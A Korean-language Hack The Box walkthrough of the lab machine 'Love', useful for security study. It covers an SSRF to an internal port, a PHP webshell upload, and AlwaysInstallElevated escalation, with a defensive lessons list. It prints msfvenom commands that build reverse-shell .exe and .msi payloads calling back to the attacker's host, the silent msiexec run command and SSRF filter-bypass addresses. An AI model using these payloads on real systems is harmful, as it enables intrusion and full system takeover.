상세 컨텐츠

본문 제목

Hack The Box 해킹 모의 침투 #4

HackTheBox

by 0xmh 2022. 5. 19. 19:04

본문

728x90

!!!모의 침투에서 쓰이는 tool들은 비윤리적인 목적을 위해서도 쓸 수 있기 때문에 여러분이 저의 블로그 읽으시고 그 tool들로 뭐 하실지 그 책임은 저에게 없음을 알려드립니다. 여러분이 책임을 지셔야 되고, tool이나 exploit를 사용하기 전에 항상 코드를 잘 확인하고 아이피 주소가 맞는지 확인 잘 하셔야 됩니다.!!!!

안녕하세요~ 오늘도 HackTheBox의 모의 침투를 하나 합시다!

오늘의 머신은 Love입니다. 유저 셸을 얻기 위해서는 SSRF 취약점을 악용하고 SSRF로 인하여 노출된 비밀번호로 admin 로그인이 가능합니다.

Admin 홈페이지에서 admin 유저의 프로필 사진을 우리가 원하는 것으로 바꿀 수 있습니다. 이 upload는 유저가 무슨 파일을 올리는지를 확인하지 않으므로 악성 php 파일을 올릴 수 있습니다. System 셸은 AlwaysInstallElevated를 악용하며 악성. msi 파일을 올릴 것입니다!

1. NMAP

nmap 스캔을 보니 여러 개의 홈페이지도 있고, smb 포트도 열려 있으며 443포트를 보니 staging.love.htb라는 홈페이지도 있네요. 이 페이지를 접근하기 위해서는 /etc/hosts이라는 파일은 열어서 ip 주소와 홈페이지의 이름 적어두면 됩니다.

2. SMB

smb 포트에 연결해 보았지만 error가 뜨네요. 로그인이 안 되니까 넘어갑시다

3. love.htb Port 80

흠~ 로그인할 수 있나 보네요. admin:admin 같은 default credentials 입력하여 Sign-in을 눌러보니 로그인은 안 되지만 "Incorrect Password"라고 뜹니다. admin이라는 유저가 존재한다는 뜻이겠죠?

4. staging.love.htb Port 80

Home 옆에 있는 Demo를 눌러보면 이 홈페이지가 제공해 주는 Free File Scanner를 쓸 수 있습니다. 웹 개발자들은 유저가 url 주소를 입력할 수 있는 feature가 만들 것이면 SSRF라는 취약점을 조심해야 합니다. SSRF (Server Side Request Forgery) 이름만 보면 무슨 취약점인지 어느 정도 알 수는 있지만 간단하게 설명해 드리자면 SSRF는 서퍼 측에서 위조된 요청을 보내는 것입니다. 무슨 말이냐면, 일반적인 SSRF 공격에서 공격자는 서버가 조직의 인프라 내에서 내부 서비스에 연결하도록 할 수 있습니다. 다른 경우 공격자는 서버가 임의의 외부 시스템에 연결하도록 강제하여 중요한 데이터를 유출할 수 있습니다.

다시 nmap 스캔을 봅시다: port 5000는 연결 금지라고 뜨는데, 그 이유는 아마 외부 머신이 연결할 수 없어서 그럴 겁니다. SSRF로 한번 연결해 봅시다: http://127.0.0.1:5000

됐네요? SSRF를 활용하여 내부 시스템에 접속할 수 있었습니다.

5. File Upload 취약점

로그인 됐다!! 첫 번째 로그인 페이지는 기억하시죠? Voting System에 대한 로그인이었는데, 취약점이 있는지를 확인해 보면 "Voting System 1.0 - File Upload RCE"가 있네요! 근데 다른 사람이 쓴 코드를 쓰는 것이 재미없으니 다른 방법을 알아봅시다.

유저를 이름을 눌러보면 개인 정보를 바꿀 수 있는데 프로필 사진도 바꿀 수 있습니다.

유저가 무슨 파일을 울리는지에 대한 확인 전혀 없기 때문에 악성 php 파일을 올릴 수 있습니다. 일반적인 php reverse shell 쓰려고 했지만 셸 callback 오자마자 셸이 죽어서 일단은 webshell 올려봤습니다. (https://github.com/WhiteWinterWolf/wwwolf-php-webshell)

오케이~ 업로드는 했는데 우리 파일이 어디 저장되었지?

Inspect 해보니까 /images 폴더에 업로드됐네요. 가서 우리가 올린 webshell 확인해 봅시다

좋네요~ 이제 우리가 원하는 command 입력할 수 있고, 파일도 올릴 수 있습니다. 일반 php 셸 안 됐고, netcat 올려서 셸을 받는 것도 문제 있어서 결국엔 msfvenom으로 악성. exe 파일을 만들어서 올렸습니다. (msfvenom -p windows/meterpreter/reverse_tcp LHOST=<공격자 IP> LPORT=<원하는 port (Firewall이 없어서 상관없음)> -f exe > shell.exe). Meterpreter payload를 사용했으니까 msfconsole 열어 multi/handler 도움으로 셸의 callback를 받아야 합니다

payload, LHOST,(vpn 연결되어 있으니 tun0 주소), LPORT를 바꿔주고 run을 입력합시다. 이제 위에 있는 webshell로 악성. exe 파일을 실행시키면 callback 올 것입니다.

6. 권한 상승 AlwaysInstallElevated

가능한 권한 상승 방법을 찾기 위해 winPEAS를 사용해 봅시다. 이번 모의 침투도 Unquoted Service Path 취약점이 있지만, 다른 모의 침투에서 해 본 적이 있기 때문에 여기서는 AlwaysInstallElevated를 악용해 봅시다. winPEAS 결과는 다음과 같습니다

악용 방법 링크도 같이 알려주네요. AlwaysInstallElevated에 대한 윈도의 설명을 봅시다.( https://docs.microsoft.com/ko-kr/windows/win32/msi/alwaysinstallelevated)

쉽게 설명해 드리자면, Windows 환경은 일반 사용자가 시스템 권한으로 Microsoft Windows Installer Package(MSI)를 설치할 수 있는 그룹 정책 설정을 제공합니다. 악용 방법이 아주 쉽습니다. 아까처럼 msfvenom으로 악성. msi 파일을 만들어봅시다: (msfvenom -p windows/x64/shell/reverse_tcp LHOST=<공격자 IP> LPORT=<원하는 port (Firewall이 없어서 상관없음)> -f msi > rev.msi

rev.msi를 올리고 netcat으로 셸 callback를 기다립시다. 올리고 나서 "msiexec /quiet /qn /i rev.msi"라는 명령어로 악성. msi를 실행시키면 System 셸을 받습니다!

모의 침투 완료! 권한 가장 높은 authority\system입니다

오늘 배운 것은 뭘까요

방어팀:

1) 저번 모의 침투와 비슷한 문제다. 유저가 입력하는 것을 절대 믿으면 안 되며 항상 validate 혹은 sanitize 해야 된다. Internal 파일을 접속하려는지 external 파일을 접속하려는지 확인 필수.

2) SSRF 같은 경우에는 allow list 아니면 block list 쓰는 것이 좋다.

Block list는 당연히 금지된 ip 주소다. 그러나 효과가 좋지 않다. 만약에 http://127.0.0.1 금지된 ip 주소라면 다음 방법과 통과 가능:

http://127.1/ http://127.0.1/ http://0177.0.0.1/

 

Allow list: 서버는 미리 결정된 목록에 있는 URL을 포함하는 요청만 허용하고, 다른 모든 요청을 거부한다

3) 앱이 사용하는 URL schema만 사용. 앱이 https만 쓰는 것이면 ftp://, file://, http:// 허용할 필요가 없다.

4) 비밀번호 노출

5) Unrestricted File Upload: 1번과 비슷하다. 파일 업로드 확인이 없는 것이 큰 문제다. 사진을 올리는 앱이면은. php 파일을 허용할 필요가 전혀 없다.

6) AlwaysInstallElevated 5번이랑 마찬가지이다. 사용할 필요가 전혀 없으며 Microsoft도 이를 안 쓰는 것을 적극 권고한다. AlwaysInstallElevated는 아예 admin 권한을 주는 것과 다를 것이 없다. 사용하지 말자.

공격팀

1) 유저가 입력할 수 있는 필드가 있으면 무조건 확인하자. sql injection, command injection, xss, ssrf, ssti 다양한 취약점이 많다

2) 어떤 파일을 올릴 수 있는지를 확인. "프로필 사진 바꾸기"라고 해서 .png, .jpg 파일만 되는 것이 아닐 수도 있다.

3) 권한 상승을 하기 위하여 winPEAS, linpeas 사용해 보자. 이 프로그램은 쉬운 권한 상승 방법을 알려 줄 것이다

 

오늘도 읽어 주셔서 감사합니다!

0xmh

관련글 더보기